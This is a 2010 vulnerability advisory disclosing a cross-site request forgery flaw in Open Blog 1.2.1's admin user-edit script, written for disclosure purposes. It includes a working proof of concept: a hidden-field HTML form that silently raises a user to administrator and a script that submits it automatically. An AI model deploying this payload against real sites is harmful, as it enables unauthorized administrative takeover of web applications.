Open Blog 1.2.1 – Cross-Site Request Forgery
Vulnerability ID: HTB22496 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_open_blog.html Product: Open Blog Vendor: Tomaž Muraus ( http://www.open-blog.info/ ) Vulnerable Version: 1.2.1 and Probably Prior Versions Vendor Notification: 22 July 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "/application/modules/admin/controllers/users.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/users/edit" method="post" > <input type="hidden" name="display_name" value="User" /> <input type="hidden" name="level" value="administrator" /> <input type="hidden" name="email" value="email (at) example (dot) com [email concealed]" /> <input type="hidden" name="website" value="" /> <input type="hidden" name="msn_messenger" value="" /> <input type="hidden" name="jabber" value="" /> <input type="hidden" name="about_me" value="about_me" /> <input type="hidden" name="id" value="2" /> <input type="submit" name="submit" id="sbmtit" value="Edit ››" /> </form> <script> document.getElementById('sbmtit').click(); </script> |